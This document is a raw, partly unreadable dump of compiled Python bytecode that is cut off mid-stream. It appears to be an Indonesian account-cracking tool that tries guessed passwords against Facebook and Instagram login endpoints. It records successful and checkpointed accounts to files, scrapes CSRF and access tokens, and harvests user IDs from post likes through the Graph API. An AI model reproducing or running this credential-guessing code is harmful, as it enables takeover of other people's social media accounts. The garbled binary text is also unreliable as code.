[OK-:%s]-[CP-:%s](*\x00\x00\x00R"\x00\x00\x00RZ\x00\x00\x00R=\x00\x00\x00R\xac\x00\x00\x00R9\x00\x00\x00R\xad\x00\x00\x00RG\x00\x00\x00RE\x00\x00\x00R:\x00\x00\x00t\x03\x00\x00\x00bs4R\x01\x00\x00\x00R\\\x00\x00\x00t\x04\x00\x00\x00joint\x02\x00\x00\x00ret\x07\x00\x00\x00findallR\x9d\x00\x00\x00t\x04\x00\x00\x00postt\x07\x00\x00\x00cookiest\x08\x00\x00\x00get_dictt\x04\x00\x00\x00keyst\x05\x00\x00\x00itemsR\x18\x00\x00\x00R\xb2\x00\x00\x00R\xb3\x00\x00\x00Rq\x00\x00\x00Rr\x00\x00\x00Rs\x00\x00\x00R\x13\x00\x00\x00R;\x00\x00\x00R\x8e\x00\x00\x00R\xb4\x00\x00\x00R_\x00\x00\x00R\xb5\x00\x00\x00R<\x00\x00\x00R\xb1\x00\x00\x00R\xae\x00\x00\x00R\xb6\x00\x00\x00Rv\x00\x00\x00RI\x00\x00\x00R\x11\x00\x00\x00R\x12\x00\x00\x00R\x14\x00\x00\x00(\x15\x00\x00\x00R\x88\x00\x00\x00R\xb7\x00\x00\x00R\x8d\x00\x00\x00R\x85\x00\x00\x00R\xb8\x00\x00\x00R\xb9\x00\x00\x00t\x01\x00\x00\x00pt\x01\x00\x00\x00bt\x03\x00\x00\x00dtgR\x1e\x00\x00\x00t\x03\x00\x00\x00romt\x02\x00\x00\x00pot\x03\x00\x00\x00keyR\xc4\x00\x00\x00t\x04\x00\x00\x00kukiRA\x00\x00\x00R\xbc\x00\x00\x00R\xbd\x00\x00\x00R\xbe\x00\x00\x00R\xbf\x00\x00\x00R\xc0\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDR\x93\x00\x00\x00\xd9\x01\x00\x00sp\x00\x00\x00\x00\x01\x03\x01\x19\x01\r\x01\n\x02\r\x01\x0c\x01\x0c\x01A\x01\x0f\x01\x15\x01!\x01\x06\x01\x13\x01\x15\x01\x15\x01\x17\x01\x15\x01\x17\x02 \x02*\x01%\x01 \x01\x17\x01\x18\x01\x1b\x01A\x01\x15\x01\x1a\x010\x01\x01\x01\x06\x01\x1b\x01\x03\x01\x12\x01#\x01\x18\x01\n\x01\x1b\x01 \x016\x01\x05\x01\r\x01\x06\x01\x06\x01\t\x01\x03\x00\x04\x01\x12\x01\x17\x01-\x01\x01\x01\n\x01\n\x01\x12\x01,\x01c\x03\x00\x00\x00\x15\x00\x00\x00\x08\x00\x00\x00C\x00\x00\x00s\xb2\x04\x00\x00y\x19\x00t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00}\x03\x00Wn\x17\x00\x04t\x02\x00k\n\x00r2\x00\x01\x01\x01d\x03\x00}\x03\x00n\x01\x00Xx#\x04|\x02\x00D]\x1b\x04}\x04\x00|\x04\x00j\x03\x00\x83\x00\x00}\x04\x00t\x04\x00j\x05\x00\x83\x00\x00}\x05\x00|\x05\x00j\x06\x00j\x07\x00i\x07\x00d\x04\x00d\x05\x006d\x06\x00d\x07\x006d\x08\x00d\t\x006|\x03\x00d\n\x006d\x0b\x00d\x0c\x006d\r\x00d\x0e\x006d\x0f\x00d\x10\x006\x83\x01\x00\x01|\x05\x00j\x08\x00d\x11\x00\x83\x01\x00}\x06\x00t\t\x00j\n\x00|\x06\x00j\x0b\x00d\x12\x00\x83\x02\x00}\x07\x00d\x13\x00j\x0c\x00t\t\x00j\r\x00j\x0e\x00d\x14\x00|\x06\x00j\x0b\x00\x83\x02\x00\x83\x01\x00}\x08\x00i\x00\x00}\t\x00x\xc7\x00|\x07\x00d\x15\x00\x83\x01\x00D]\xb9\x00}\n\x00|\n\x00j\x08\x00d\x16\x00\x83\x01\x00d\x00\x00k\x08\x00r\x84\x01|\n\x00j\x08\x00d\x17\x00\x83\x01\x00d\x18\x00k\x02\x00r8\x01|\t\x00j\x07\x00i\x01\x00|\x01\x00d\x18\x006\x83\x01\x00\x01q\xaa\x01|\n\x00j\x08\x00d\x17\x00\x83\x01\x00d\x19\x00k\x02\x00rd\x01|\t\x00j\x07\x00i\x01\x00|\x04\x00d\x19\x006\x83\x01\x00\x01q\xaa\x01|\t\x00j\x07\x00i\x01\x00d\x13\x00|\n\x00j\x08\x00d\x17\x00\x83\x01\x006\x83\x01\x00\x01q\xf1\x00|\t\x00j\x07\x00i\x01\x00|\n\x00j\x08\x00d\x16\x00\x83\x01\x00|\n\x00j\x08\x00d\x17\x00\x83\x01\x006\x83\x01\x00\x01q\xf1\x00W|\t\x00j\x07\x00i\x08\x00|\x08\x00d\x1a\x006d\x13\x00d\x1b\x006d\x1c\x00d\x1d\x006d\x1e\x00d\x1f\x006d\x13\x00d \x006d\x13\x00d!\x006d\x13\x00d"\x006d\x13\x00d#\x006\x83\x01\x00\x01|\x05\x00j\x06\x00j\x07\x00i\x01\x00d$\x00d%\x006\x83\x01\x00\x01|\x05\x00j\x10\x00d&\x00d\'\x00|\t\x00\x83\x01\x01j\x0b\x00}\x0b\x00d(\x00|\x05\x00j\x11\x00j\x12\x00\x83\x00\x00j\x13\x00\x83\x00\x00k\x06\x00r\xe4\x02d)\x00j\x0c\x00g\x00\x00|\x05\x00j\x11\x00j\x12\x00\x83\x00\x00j\x14\x00\x83\x00\x00D]\x1c\x00\\\x02\x00}\x0c\x00}\r\x00d*\x00|\x0c\x00|\r\x00f\x02\x00\x16^\x02\x00qY\x02\x83\x01\x00}\x0e\x00d+\x00t\x15\x00|\x01\x00|\x04\x00|\x0e\x00f\x04\x00\x16GHt\x16\x00j\x17\x00d,\x00|\x01\x00|\x04\x00|\x0e\x00f\x03\x00\x16\x83\x01\x00\x01t\x00\x00d-\x00t\x18\x00t\x19\x00t\x1a\x00f\x03\x00\x16d.\x00\x83\x02\x00j\x1b\x00d/\x00|\x01\x00|\x04\x00|\x0e\x00f\x03\x00\x16\x83\x01\x00\x01Pq:\x00q:\x00d0\x00|\x05\x00j\x11\x00j\x12\x00\x83\x00\x00j\x13\x00\x83\x00\x00k\x06\x00r:\x00y\xcd\x00t\x00\x00d1\x00\x83\x01\x00j\x01\x00\x83\x00\x00}\x0f\x00t\x04\x00j\x08\x00d2\x00|\x01\x00|\x0f\x00f\x02\x00\x16\x83\x01\x00j\x1c\x00\x83\x00\x00d3\x00\x19}\x10\x00|\x10\x00j\x1d\x00d4\x00\x83\x01\x00\\\x03\x00}\x11\x00}\x12\x00}\x13\x00t\x1e\x00|\x11\x00\x19}\x11\x00d5\x00t\x1f\x00|\x01\x00|\x04\x00|\x12\x00|\x11\x00|\x13\x00f\x06\x00\x16GHt \x00j\x17\x00d6\x00|\x01\x00|\x04\x00|\x12\x00|\x11\x00|\x13\x00f\x05\x00\x16\x83\x01\x00\x01t\x00\x00d-\x00t\x18\x00t\x19\x00t\x1a\x00f\x03\x00\x16d.\x00\x83\x02\x00j\x1b\x00d7\x00|\x01\x00|\x04\x00|\x12\x00|\x11\x00|\x13\x00f\x05\x00\x16\x83\x01\x00\x01PWn)\x00\x04t!\x00k\n\x00r\xf1\x03\x01\x01\x01d\x13\x00}\x12\x00d\x13\x00}\x11\x00d\x13\x00}\x13\x00n\x07\x00\x01\x01\x01n\x01\x00Xd8\x00t\x1f\x00|\x01\x00|\x04\x00f\x03\x00\x16GHt \x00j\x17\x00d9\x00|\x01\x00|\x04\x00f\x02\x00\x16\x83\x01\x00\x01t\x00\x00d-\x00t\x18\x00t\x19\x00t\x1a\x00f\x03\x00\x16d.\x00\x83\x02\x00j\x1b\x00d:\x00|\x01\x00|\x04\x00f\x02\x00\x16\x83\x01\x00\x01Pq:\x00q:\x00q:\x00Wt"\x00d;\x007a"\x00t#\x00j$\x00d<\x00g\x01\x00\x83\x01\x00}\x14\x00d=\x00|\x14\x00t"\x00t%\x00|\x00\x00j&\x00\x83\x01\x00t%\x00t\x16\x00\x83\x01\x00t%\x00t \x00\x83\x01\x00f\x05\x00\x16Gt\'\x00j(\x00j)\x00\x83\x00\x00\x01d\x00\x00S(>\x00\x00\x00Ns\x0b\x00\x00\x00data/ua.txtRF\x00\x00\x00s\x7f\x00\x00\x00Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1s\x0e\x00\x00\x00m.facebook.comR\xc1\x00\x00\x00s\t\x00\x00\x00max-age=0s\r\x00\x00\x00cache-controlR.\x00\x00\x00s\x19\x00\x00\x00upgrade-insecure-requestss\n\x00\x00\x00user-agentsU\x00\x00\x00text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8R\xc2\x00\x00\x00s\r\x00\x00\x00gzip, deflates\x0f\x00\x00\x00accept-encodings#\x00\x00\x00id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7s\x0f\x00\x00\x00accept-languages\x16\x00\x00\x00https://m.facebook.coms\x0b\x00\x00\x00html.parserR\x06\x00\x00\x00s\x17\x00\x00\x00dtsg":\\{"token":"(.*?)"R\xc3\x00\x00\x00R\xc4\x00\x00\x00R0\x00\x00\x00R\xc5\x00\x00\x00R\xc6\x00\x00\x00R\xc7\x00\x00\x00R\xc8\x00\x00\x00R3\x00\x00\x00R\xc9\x00\x00\x00R\xca\x00\x00\x00R\xcb\x00\x00\x00R\xcc\x00\x00\x00R\xcd\x00\x00\x00R\xce\x00\x00\x00R\xcf\x00\x00\x00s5\x00\x00\x00https://m.facebook.com/login/?next&ref=dbl&fl&refid=8R\xd0\x00\x00\x00sy\x00\x00\x00https://m.facebook.com/login/device-based/login/async/?refsrc=https%3A%2F%2Fm.facebook.com%2Flogin%2F%3Fref%3Ddbl&lwv=100R\x1e\x00\x00\x00R\xd1\x00\x00\x00R\xd2\x00\x00\x00s\x05\x00\x00\x00%s=%ss\x19\x00\x00\x00\r %s\xe2\x80\xa2 %s \xe2\x97\x8a %s \xe2\x97\x8a %s s\x10\x00\x00\x00%s \xe2\x97\x8a %s \xe2\x97\x8a %ss\x15\x00\x00\x00hasil/CP-%s-%s-%s.txtRi\x00\x00\x00s\x17\x00\x00\x00 *--> %s \xe2\x97\x8a %s \xe2\x97\x8a %s\nR\xd3\x00\x00\x00s\t\x00\x00\x00token.txts-\x00\x00\x00https://graph.facebook.com/%s?access_token=%sRH\x00\x00\x00R\xab\x00\x00\x00s\x1f\x00\x00\x00\r %s\xe2\x80\xa2 %s \xe2\x97\x8a %s \xe2\x97\x8a %s %s %s s\x16\x00\x00\x00%s \xe2\x97\x8a %s \xe2\x97\x8a %s %s %ss\x1d\x00\x00\x00 *--> %s \xe2\x97\x8a %s \xe2\x97\x8a %s %s %s\ns\x1f\x00\x00\x00\r %s\xe2\x80\xa2 %s \xe2\x97\x8a %s s\t\x00\x00\x00%s \xe2\x97\x8a %ss\x10\x00\x00\x00 *--> %s \xe2\x97\x8a %s\ni\x01\x00\x00\x00s\x07\x00\x00\x00\x1b[30;1ms\x1f\x00\x00\x00\r %s\xe2\x80\xa2 %s/%s [OK-:%s]-[CP-:%s](*\x00\x00\x00R"\x00\x00\x00RZ\x00\x00\x00R=\x00\x00\x00R\xac\x00\x00\x00R9\x00\x00\x00R\xad\x00\x00\x00RG\x00\x00\x00RE\x00\x00\x00R:\x00\x00\x00R\xd4\x00\x00\x00R\x01\x00\x00\x00R\\\x00\x00\x00R\xd5\x00\x00\x00R\xd6\x00\x00\x00R\xd7\x00\x00\x00R\x9d\x00\x00\x00R\xd8\x00\x00\x00R\xd9\x00\x00\x00R\xda\x00\x00\x00R\xdb\x00\x00\x00R\xdc\x00\x00\x00R\x18\x00\x00\x00R\xb2\x00\x00\x00R\xb3\x00\x00\x00Rq\x00\x00\x00Rr\x00\x00\x00Rs\x00\x00\x00R\x13\x00\x00\x00R;\x00\x00\x00R\x8e\x00\x00\x00R\xb4\x00\x00\x00R_\x00\x00\x00R\xb5\x00\x00\x00R<\x00\x00\x00R\xb1\x00\x00\x00R\xae\x00\x00\x00R\xb6\x00\x00\x00Rv\x00\x00\x00RI\x00\x00\x00R\x11\x00\x00\x00R\x12\x00\x00\x00R\x14\x00\x00\x00(\x15\x00\x00\x00R\x88\x00\x00\x00R\xb7\x00\x00\x00R\x8d\x00\x00\x00R\x85\x00\x00\x00R\xb8\x00\x00\x00R\xb9\x00\x00\x00R\xdd\x00\x00\x00R\xde\x00\x00\x00R\xdf\x00\x00\x00R\x1e\x00\x00\x00R\xe0\x00\x00\x00R\xe1\x00\x00\x00R\xe2\x00\x00\x00R\xc4\x00\x00\x00R\xe3\x00\x00\x00RA\x00\x00\x00R\xbc\x00\x00\x00R\xbd\x00\x00\x00R\xbe\x00\x00\x00R\xbf\x00\x00\x00R\xc0\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDR\x94\x00\x00\x00\x14\x02\x00\x00sp\x00\x00\x00\x00\x01\x03\x01\x19\x01\r\x01\n\x02\r\x01\x0c\x01\x0c\x01A\x01\x0f\x01\x15\x01!\x01\x06\x01\x13\x01\x15\x01\x15\x01\x17\x01\x15\x01\x17\x02 \x02*\x01%\x01 \x01\x17\x01\x18\x01\x1b\x01A\x01\x15\x01\x1a\x010\x01\x01\x01\x06\x01\x1b\x01\x03\x01\x12\x01#\x01\x18\x01\n\x01\x1b\x01 \x016\x01\x05\x01\r\x01\x06\x01\x06\x01\t\x01\x03\x00\x04\x01\x12\x01\x17\x01-\x01\x01\x01\n\x01\n\x01\x12\x01,\x01(\x08\x00\x00\x00t\x08\x00\x00\x00__name__t\n\x00\x00\x00__module__R\x89\x00\x00\x00R\xa1\x00\x00\x00R\x9e\x00\x00\x00R\x90\x00\x00\x00R\x93\x00\x00\x00R\x94\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDR\x87\x00\x00\x00\x1f\x01\x00\x00s\x0c\x00\x00\x00\x06\x02\t\x02\tG\t9\t6\t;c\x02\x00\x00\x00\x12\x00\x00\x00\r\x00\x00\x00C\x00\x00\x00s\xd6\x03\x00\x00t\x00\x00|\x01\x00\x83\x01\x00}\x02\x00x\xb9\x03|\x01\x00D]\xb1\x03}\x03\x00t\x01\x00d\x01\x00k\x03\x00r(\x00nr\x00t\x00\x00t\x02\x00\x83\x01\x00d\x01\x00k\x03\x00r\x9a\x00t\x03\x00j\x04\x00d\x02\x00g\x01\x00\x83\x01\x00}\x04\x00d\x03\x00|\x04\x00\x17d\x04\x00t\x05\x00t\x06\x00\x83\x01\x00t\x00\x00t\x07\x00\x83\x01\x00t\x00\x00t\x08\x00\x83\x01\x00t\x00\x00t\t\x00\x83\x01\x00f\x04\x00\x16\x17Gt\n\x00j\x0b\x00j\x0c\x00\x83\x00\x00\x01|\x02\x00d\x01\x008}\x02\x00n\x00\x00y\xc5\x02|\x00\x00t\x08\x00k\x06\x00s\xb5\x00|\x00\x00t\t\x00k\x06\x00r\xb9\x00Pn\x00\x00|\x03\x00j\r\x00\x83\x00\x00}\x05\x00y\xe6\x00i\x01\x00t\x0e\x00d\x05\x006}\x06\x00t\x0f\x00j\x10\x00\x83\x00\x00\x8fA\x00}\x07\x00d\x06\x00}\x08\x00|\x07\x00j\x11\x00|\x08\x00d\x07\x00|\x06\x00\x83\x01\x01j\x12\x00}\t\x00t\x13\x00j\x14\x00d\x08\x00t\x05\x00|\t\x00\x83\x01\x00\x83\x02\x00d\t\x00\x19}\n\x00Wd\x00\x00QXi\x08\x00d\n\x00d\x0b\x006d\x0c\x00d\r\x006d\x0e\x00d\x0f\x006d\x10\x00d\x11\x006|\n\x00d\x12\x006d\x13\x00d\x14\x006d\x15\x00d\x16\x006t\x15\x00d\x05\x006}\x0b\x00i\x06\x00|\x00\x00d\x17\x006d\x18\x00j\x16\x00t\x03\x00j\x17\x00d\x19\x00d\x1a\x00\x83\x02\x00|\x05\x00\x83\x02\x00d\x1b\x006t\x18\x00d\x1c\x006i\x00\x00d\x1d\x006d\x1e\x00d\x1f\x006i\x00\x00d \x006}\x0c\x00Wn\x13\x00\x01\x01\x01i\x00\x00}\x0b\x00i\x00\x00}\x0c\x00n\x01\x00Xt\x0f\x00j\x10\x00\x83\x00\x00\x8f\x8f\x01}\x07\x00d!\x00}\r\x00|\x07\x00j\x19\x00|\r\x00d"\x00|\x0c\x00d\x07\x00|\x0b\x00\x83\x01\x02}\x0e\x00t\x1a\x00j\x1b\x00|\x0e\x00j\x12\x00\x83\x01\x00}\t\x00t\x1c\x00d#\x00\x83\x01\x00\x01d$\x00t\x05\x00|\t\x00\x83\x01\x00k\x06\x00r{\x02d%\x00}\x0f\x00t\x1d\x00|\x00\x00|\x05\x00|\x0f\x00\x83\x03\x00\x01t\x1e\x00d&\x00d\'\x00\x83\x02\x00\x8f$\x00}\x10\x00|\x10\x00j\x1f\x00d(\x00|\x00\x00\x17d)\x00\x17|\x05\x00\x17d*\x00\x17\x83\x01\x00\x01Wd\x00\x00QXt\t\x00j \x00|\x00\x00\x83\x01\x00\x01Pn\xdd\x00d+\x00t\x05\x00|\t\x00\x83\x01\x00k\x06\x00r\xfe\x02d,\x00}\x11\x00t\x00\x00t\x02\x00\x83\x01\x00d\x01\x00k\x03\x00r\xfa\x02t\x1d\x00|\x00\x00|\x05\x00|\x11\x00\x83\x03\x00\x01t\x1e\x00d-\x00d\'\x00\x83\x02\x00\x8f$\x00}\x10\x00|\x10\x00j\x1f\x00d.\x00|\x00\x00\x17d)\x00\x17|\x05\x00\x17d*\x00\x17\x83\x01\x00\x01Wd\x00\x00QXt\x08\x00j \x00|\x00\x00\x83\x01\x00\x01n\x00\x00PnZ\x00d/\x00t\x05\x00|\t\x00\x83\x01\x00k\x06\x00rR\x03d0\x00t!\x00\x16Gt\x01\x00d\x01\x007a\x01\x00t\n\x00j\x0b\x00j\x0c\x00\x83\x00\x00\x01|\x05\x00g\x01\x00}\x01\x00t"\x00|\x00\x00|\x01\x00\x83\x02\x00\x01t\x06\x00d\x01\x008a\x06\x00n\x06\x00d\x01\x00a\x01\x00Wd\x00\x00QXWq\x13\x00\x04t\x0f\x00j#\x00j$\x00k\n\x00r\xb7\x03\x01\x01\x01d1\x00t!\x00\x16Gt\n\x00j\x0b\x00j\x0c\x00\x83\x00\x00\x01t\x01\x00d\x01\x007a\x01\x00|\x05\x00g\x01\x00}\x01\x00t"\x00|\x00\x00|\x01\x00\x83\x02\x00\x01t\x06\x00d\x01\x008a\x06\x00q\x13\x00\x01\x01\x01d\x01\x00a\x01\x00q\x13\x00Xq\x13\x00Wt\x06\x00d\x01\x007a\x06\x00d\x00\x00S(2\x00\x00\x00Ni\x01\x00\x00\x00s\x07\x00\x00\x00\x1b[30;1ms\x02\x00\x00\x00\r s\x1a\x00\x00\x00\xe2\x80\xa2 %s/%s [OK:%s]-[CP:%s] s\n\x00\x00\x00User-Agents\x1a\x00\x00\x00https://www.instagram.com/RG\x00\x00\x00s\'\x00\x00\x00{"config":{"csrf_token":"(.*)","viewer"i\x00\x00\x00\x00s\x03\x00\x00\x00*/*t\x06\x00\x00\x00Accepts\x11\x00\x00\x00gzip, deflate, brs\x0f\x00\x00\x00Accept-Encodings\x0e\x00\x00\x00en-US,en;q=0.5s\x0f\x00\x00\x00Accept-Languages\x11\x00\x00\x00www.instagram.comR\xc1\x00\x00\x00s\x0b\x00\x00\x00X-CSRFTokent\x0e\x00\x00\x00XMLHttpRequests\x10\x00\x00\x00X-Requested-Withs)\x00\x00\x00https://www.instagram.com/accounts/login/t\x07\x00\x00\x00Referert\x08\x00\x00\x00usernames\x1e\x00\x00\x00#PWD_INSTAGRAM_BROWSER:0:{}:{}i\x00\xca\x9a;I\xff\xe7vH\x17\x00\x00\x00t\x0c\x00\x00\x00enc_passwordt\r\x00\x00\x00optIntoOneTapt\x0b\x00\x00\x00queryParamsR\x06\x00\x00\x00t\x11\x00\x00\x00stopDeletionNoncet\x14\x00\x00\x00trustedDeviceRecordss.\x00\x00\x00https://www.instagram.com/accounts/login/ajax/R\x1e\x00\x00\x00g\x9a\x99\x99\x99\x99\x99\xb9?t\x0e\x00\x00\x00checkpoint_urlt\n\x00\x00\x00Checkpoints\t\x00\x00\x00cepeh.txtRi\x00\x00\x00s\x0e\x00\x00\x00 [Checkpoint] s\x05\x00\x00\x00 \xe2\x97\x8a s\x01\x00\x00\x00\nt\x06\x00\x00\x00userIdt\x08\x00\x00\x00Berhasils\x08\x00\x00\x00okeh.txts\x0c\x00\x00\x00 [Berhasil] s\x0b\x00\x00\x00Please waits \x00\x00\x00\r%s[!] Mode pesawatkan 2 detik s"\x00\x00\x00\r%s[!] Tidak ada koneksi Internet (%\x00\x00\x00Rv\x00\x00\x00t\x07\x00\x00\x00loopingt\x0b\x00\x00\x00status_follR\xae\x00\x00\x00R\xb6\x00\x00\x00R\x10\x00\x00\x00t\x06\x00\x00\x00lopingt\x02\x00\x00\x00miR\xb2\x00\x00\x00R\xb5\x00\x00\x00R\x11\x00\x00\x00R\x12\x00\x00\x00R\x14\x00\x00\x00R\xac\x00\x00\x00t\x0f\x00\x00\x00user_agentz_apiR9\x00\x00\x00R\xad\x00\x00\x00R:\x00\x00\x00t\x07\x00\x00\x00contentR\xd6\x00\x00\x00R\xd7\x00\x00\x00t\x0b\x00\x00\x00user_agentzt\x06\x00\x00\x00formatR\xaf\x00\x00\x00t\x05\x00\x00\x00FalseR\xd8\x00\x00\x00R;\x00\x00\x00R\x0b\x00\x00\x00R\x15\x00\x00\x00t\x05\x00\x00\x00ingfoR"\x00\x00\x00R\x13\x00\x00\x00R\xb3\x00\x00\x00R5\x00\x00\x00t\x06\x00\x00\x00crack2R]\x00\x00\x00R^\x00\x00\x00(\x12\x00\x00\x00R\xb7\x00\x00\x00R\xa0\x00\x00\x00t\x06\x00\x00\x00c_bff_t\x03\x00\x00\x00pasR\xc0\x00\x00\x00R\xb8\x00\x00\x00t\x07\x00\x00\x00headerzR\xb9\x00\x00\x00t\x04\x00\x00\x00urllR\x1e\x00\x00\x00t\x06\x00\x00\x00tokettR[\x00\x00\x00t\x05\x00\x00\x00paramt\x03\x00\x00\x00urlt\x06\x00\x00\x00respont\x05\x00\x00\x00cepeht\x06\x00\x00\x00simpant\x04\x00\x00\x00okeh(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDR\xfd\x00\x00\x00O\x02\x00\x00s\x82\x00\x00\x00\x00\x02\x0c\x01\r\x01\x0c\x01\x03\x02\x12\x01\x12\x014\x01\r\x01\r\x03\x03\x01\x18\x01\x04\x01\x0c\x01\x03\x01\r\x01\x0f\x01\x06\x01\x18\x01"\x01>\x02L\x02\x03\x01\x06\x01\x06\x01\x04\x01\x0f\x01\x06\x01\x1b\x01\x12\x00\n\x03\x12\x01\x06\x01\x10\x01\x12\x01#\x01\r\x01\x04\x01\x12\x01\x06\x01\x12\x01\x10\x01\x12\x01#\x01\x10\x02\x04\x01\x12\x01\x08\x01\n\x01\r\x01\t\x01\r\x01\r\x02\x06\x01\n\x01\x13\x01\x08\x01\r\x01\n\x01\t\x01\r\x01\r\x01\x03\x01\x06\x01\x08\x01c\x02\x00\x00\x00\x0b\x00\x00\x00\x07\x00\x00\x00C\x00\x00\x00s\xb2\x01\x00\x00y\x11\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01Wn\x07\x00\x01\x01\x01n\x01\x00Xyc\x01d\x02\x00t\x02\x00t\x03\x00t\x02\x00f\x03\x00\x16GHt\x04\x00d\x03\x00t\x03\x00\x16\x83\x01\x00}\x02\x00t\x04\x00d\x04\x00t\x02\x00t\x03\x00f\x02\x00\x16\x83\x01\x00}\x03\x00t\x05\x00j\x06\x00d\x05\x00|\x02\x00|\x00\x00f\x02\x00\x16\x83\x01\x00}\x04\x00g\x00\x00}\x05\x00t\x07\x00j\x08\x00|\x04\x00j\t\x00\x83\x01\x00}\x06\x00d\x06\x00|\x03\x00\x17d\x07\x00\x17j\n\x00d\x08\x00d\t\x00\x83\x02\x00}\x07\x00t\x0b\x00|\x07\x00d\n\x00\x83\x02\x00}\x08\x00x\x84\x00|\x06\x00d\x0b\x00\x19D]x\x00}\t\x00|\x05\x00j\x0c\x00|\t\x00d\x0c\x00\x19d\r\x00\x17|\t\x00d\x0e\x00\x19\x17\x83\x01\x00\x01|\x08\x00j\r\x00|\t\x00d\x0c\x00\x19d\r\x00\x17|\t\x00d\x0e\x00\x19\x17d\x0f\x00\x17\x83\x01\x00\x01d\x10\x00t\x02\x00t\x03\x00t\x0e\x00t\x0f\x00|\x05\x00\x83\x01\x00\x83\x01\x00f\x03\x00\x16Gt\x10\x00j\x11\x00j\x12\x00\x83\x00\x00\x01t\x13\x00d\x11\x00\x83\x01\x00\x01q\xbb\x00W|\x08\x00j\x14\x00\x83\x00\x00\x01d\x12\x00t\x02\x00t\x15\x00t\x02\x00f\x03\x00\x16GHd\x13\x00t\x02\x00t\x15\x00t\x02\x00t\x15\x00|\x07\x00f\x05\x00\x16GHd\x14\x00GHt\x16\x00\x83\x00\x00j\x17\x00\x83\x00\x00\x01Wn-\x00\x04t\x18\x00k\n\x00r\xad\x01\x01}\n\x00\x01d\x15\x00t\x02\x00\x16GHt\x04\x00d\x16\x00\x83\x01\x00\x01t\x19\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(\x17\x00\x00\x00Nt\x04\x00\x00\x00dumps2\x00\x00\x00\n%s [%s!%s] Perlu di ingat postingan wajib publik s\x13\x00\x00\x00 [*] Id post : %ss\x15\x00\x00\x00 %s[?] Nama file : %ss@\x00\x00\x00https://graph.facebook.com/%s/likes?limit=999999&access_token=%ss\x05\x00\x00\x00dump/s\x05\x00\x00\x00.jsonRo\x00\x00\x00t\x01\x00\x00\x00_R\x1f\x00\x00\x00R\x1e\x00\x00\x00RI\x00\x00\x00s\x03\x00\x00\x00<=>R0\x00\x00\x00s\x01\x00\x00\x00\ns\x1f\x00\x00\x00\r%s [*] mengumpulkan id :%s %s g{\x14\xaeG\xe1zt?s(\x00\x00\x00\n\n %s[%s\xe2\x88\x9a%s] Succes dump id postingan s(\x00\x00\x00%s [%s\xe2\x88\x9a%s] File dump tersimpan :%s %s s$\x00\x00\x00 [!] Masukan file dump di bawah ini s\x15\x00\x00\x00\n %s[!] gagal dump ids\x12\x00\x00\x00[\xe2\x80\xa2] Back to menu(\x1a\x00\x00\x00R \x00\x00\x00R!\x00\x00\x00R*\x00\x00\x00R_\x00\x00\x00R6\x00\x00\x00R9\x00\x00\x00R:\x00\x00\x00R;\x00\x00\x00R\x0b\x00\x00\x00R\\\x00\x00\x00Ru\x00\x00\x00R"\x00\x00\x00R\xb3\x00\x00\x00R\x13\x00\x00\x00R\x10\x00\x00\x00Rv\x00\x00\x00R\x11\x00\x00\x00R\x12\x00\x00\x00R\x14\x00\x00\x00R\x15\x00\x00\x00t\x05\x00\x00\x00closeR\x18\x00\x00\x00R\x87\x00\x00\x00R\xa1\x00\x00\x00R\x0e\x00\x00\x00R&\x00\x00\x00(\x0b\x00\x00\x00RA\x00\x00\x00RG\x00\x00\x00t\x03\x00\x00\x00idtR\x07\x01\x00\x00RF\x00\x00\x00RI\x00\x00\x00R\x16\x00\x00\x00Rx\x00\x00\x00t\x03\x00\x00\x00bffRi\x00\x00\x00R\x0f\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDRd\x00\x00\x00\x9c\x02\x00\x00s8\x00\x00\x00\x00\x01\x03\x01\x11\x01\x03\x00\x04\x01\x03\x01\x12\x01\x10\x01\x16\x01\x19\x01\x06\x01\x12\x01\x1a\x01\x0f\x01\x11\x01\x1d\x01!\x01\x1d\x01\r\x00\x0e\x01\n\x01\x12\x01\x18\x01\x05\x01\x11\x01\x0f\x01\t\x01\n\x01c\x02\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x00\x00C\x00\x00\x00s\xee\x01\x00\x00y\x11\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01Wn\x07\x00\x01\x01\x01n\x01\x00Xy\x9f\x01d\x02\x00t\x02\x00t\x03\x00t\x02\x00t\x03\x00t\x02\x00f\x05\x00\x16GHt\x04\x00d\x03\x00t\x03\x00\x16\x83\x01\x00}\x02\x00t\x04\x00d\x04\x00t\x02\x00t\x03\x00f\x02\x00\x16\x83\x01\x00}\x03\x00t\x05\x00j\x06\x00d\x05\x00|\x02\x00|\x00\x00f\x02\x00\x16\x83\x01\x00}\x04\x00t\x07\x00j\x08\x00|\x04\x00j\t\x00\x83\x01\x00}\x05\x00d\x06\x00|\x05\x00d\x07\x00\x19\x17d\x08\x00\x17j\n\x00d\t\x00d\n\x00\x83\x02\x00}\x06\x00t\x0b\x00|\x06\x00d\x0b\x00\x83\x02\x00}\x07\x00t\x05\x00j\x06\x00d\x0c\x00|\x02\x00|\x03\x00|\x00\x00f\x03\x00\x16\x83\x01\x00}\x08\x00t\x07\x00j\x08\x00|\x08\x00j\t\x00\x83\x01\x00}\t\x00x\x84\x00|\t\x00d\r\x00\x19D]x\x00}\n\x00t\x0c\x00j\r\x00|\n\x00d\x0e\x00\x19d\x0f\x00\x17|\n\x00d\x10\x00\x19\x17\x83\x01\x00\x01|\x07\x00j\x0e\x00|\n\x00d\x0e\x00\x19d\x0f\x00\x17|\n\x00d\x10\x00\x19\x17d\x11\x00\x17\x83\x01\x00\x01d\x12\x00t\x02\x00t\x0f\x00t\x10\x00t\x11\x00t\x0c\x00\x83\x01\x00\x83\x01\x00f\x03\x00\x16Gt\x12\x00j\x13\x00j\x14\x00\x83\x00\x00\x01t\x15\x